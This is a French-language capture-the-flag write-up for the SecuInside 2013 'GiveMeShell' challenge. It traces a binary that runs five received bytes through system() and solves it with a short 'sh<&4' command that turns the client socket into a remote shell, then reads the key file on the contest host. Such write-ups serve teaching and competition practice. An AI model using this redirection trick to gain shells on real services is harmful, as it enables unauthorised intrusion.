SecuInside 2013 | GiveMeShell [Write-Up]

Pour ce challenge, le nom de l’épreuve était déjà très parlant et nous nous étions fait une idée de l’objectif à atteindre. Obtenir un shell…

On commence par récupérer le binaire qui nous était gracieusement fourni

$ wget http://war.secuinside.com/files/givemeshell
$ file givemeshell
givemeshell: ELF 32-bit LSB executable, (...) stripped

Et on nous donnait une IP (119.70.231.180) et une série de ports (8761,8762,8763,8764,8765) où nous connecter pour tenter de récupérer le flag, en fait il s’avère que seul le port 8764 fonctionnait pour nous, est-ce que c’etait fait exprès, est-ce que le process sur les autres ports était vautré, on sait pas trop..

On se lance ensuite dans une analyse plus ou moins succinte du binaire :

$ strings givemeshell
(...)
socket
fork
listen
recv
setsockopt
system
accept
(...)

On reconnait là (sisi..) les fonctions classiques pour faire un listener réseau en C, plus les fonctions fork() et system(), on comprend déjà dans quel sens ça va aller, possiblement un listener qui dès qu’il recoit une nouvelle connexion spawn (fork/system) un shell et/ou execute ce qu’il recoit sur la socket cliente, le fork permet évidement que le process père reste en vie, un ltrace sur le binaire (avec l’option -f pour suivre le fork) nous le confirmera :

$ ./givemeshell
usage: ./givemeshell
$ ltrace -f ./givemeshell 65000
[pid 2154] __libc_start_main(0x80487f1, 2, ...
[pid 2154] socket(2, 1, 0) = 3
[pid 2154] memset(0xbf8bb76c, '00', 16) = 0xbf8bb76c
[pid 2154] htonl(0, 0, 16, 0xb75f4043, 0x80483c7) = 0
[pid 2154] atoi(0xbf8bc498, 0, 16, 0xb75f4043, 0x80483c7) = 65000
[pid 2154] htons(65000, 0, 16, 0xb75f4043, 0x80483c7) = 59645
[pid 2154] setsockopt(3, 1, 2, 0xbf8bb75c, 4) = 0
[pid 2154] bind(3, 0xbf8bb76c, 16, 0xbf8bb75c, 4) = 0
[pid 2154] listen(3, 5, 16, 0xbf8bb75c, 4) = 0
[pid 2154] signal(17, 0x00000001) = NULL
[pid 2154] accept(3, 0xbf8bb77c, 0xbf8bb758, 0xbf8bb75c, 4) = 4

On voit très clairement le listener, dans un autre terminal on se connecte sur le service qu’on a lancé

$ nc 127.0.0.1 65000
ls # ici on a pas de prompt mais on est bel et bien connecté ;)

Et coté ltrace l’output donne donc :

[pid 2154] fork() = 2156
[pid 2156] ... fork resumed ) = 0
[pid 2154] close(4 unfinished ...
[pid 2156] close(3 unfinished ...
[pid 2154] ... close resumed ) = 0
[pid 2154] accept(3, 0xbf8bb77c, 0xbf8bb758, 0xbf8bb75c, 4 ...
[pid 2156] ... close resumed ) = 0
[pid 2156] memset(0xbf8bb706, '00', 6) = 0xbf8bb706
[pid 2156] recv(4, 0xbf8bb706, 5, 0, 0xbf8bb798) = 3
[pid 2156] system("ls\n" unfinished ...
(...)
[pid 2156] ... system resumed ) = -1
[pid 2156] shutdown(4, 2, 0xbf8bb758, 0xbf8bb75c, 4) = 0
[pid 2156] close(4) = 0
[pid 2156] +++ exited (status 0) +++

Voilà on y est, donc comme attendu dès qu’on se connecte, le process père fork() et dans le process fils on recv()+system() et close() ensuite la socket immédiatement.
Tout est dans le recv() : on voit clairement qu’il ne lit que 5 octets, et c’est là la difficulté du challenge, on a droit en tout et pour tout à 5 octets pour récupérer un shell, ais-je précisé qu’on ne voit pas non plus le retour de la commande ls ?

Récapitulons, on se connecte sur le service, là on peut passer une commande shell directement qui sera exécutée mais on a maxi 5 octets, tout le reste part à la poubelle, et une fois la commande exécutée on a pas de retour, ajoutons à ça qu’on ne connait pas exactement le but de l’épreuve non plus, on suppose juste qu’il faut lire le contenu d’un fichier « password » ou « flag » quelque part sur la machine, donc dans tous les cas ce qu’on veut c’est pouvoir passer plusieurs commandes, plus longues que 5 octets, et avoir un retour

Du coup la solution… on connait ou on ne connait pas, beaucoups d’entre nous ont surement déjà utilisé des redirections dans le shell du style « commande 2>/dev/null » sans trop savoir ou chercher à comprendre, juste parceque « ça permet de pas avoir un affichage tout pourri ».
Bien le principe ici est d’utiliser ces redirections.
Dans l’exemple « commande 2>/dev/null », le « 2 » correspond à la sortie d’erreur (stderr ou STDERR_FILENO pour être plus exact), il s’agit d’un descripteur standard, 0 correspond à stdin et 1 à stdout
sous linux les descripteurs de fichiers, les tubes, les sockets etc. sont tous logés à la même enseigne.
Si on regarde plus haut notre recv() on voit qu’il lit depuis le descripteur numéro 4, c’est notre socket cliente !

Du coup si on veut voir le retour de la commande ls on pourrait par exemple taper :

ls>&4

La sortie de ls est donc redirigée.. vers notre socket, youpi. 🙂

Reste que ca nous donne droit qu’à une seule commande, et sans options en plus.
L’output de ls nous montre qu’il y a un fichier « key » dans le répertoire courant (c’est bien ça nous évitera de chercher trop loin).
La solution est simple, plutot que de lancer ls, on lance sh, un nouveau shell :

$ nc 119.70.231.180 8764
sh<&4 # 5 char, "donne un shell, les inputs viennent de la socket"
ls >&4 # plus de limite de caracteres, "balance l'output sur la socket aussi"
givemeshell
key # le fichier qui nous interesse
cat key >&4
key : WeLoveShell

C’est gagné 🙂

Publicités

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s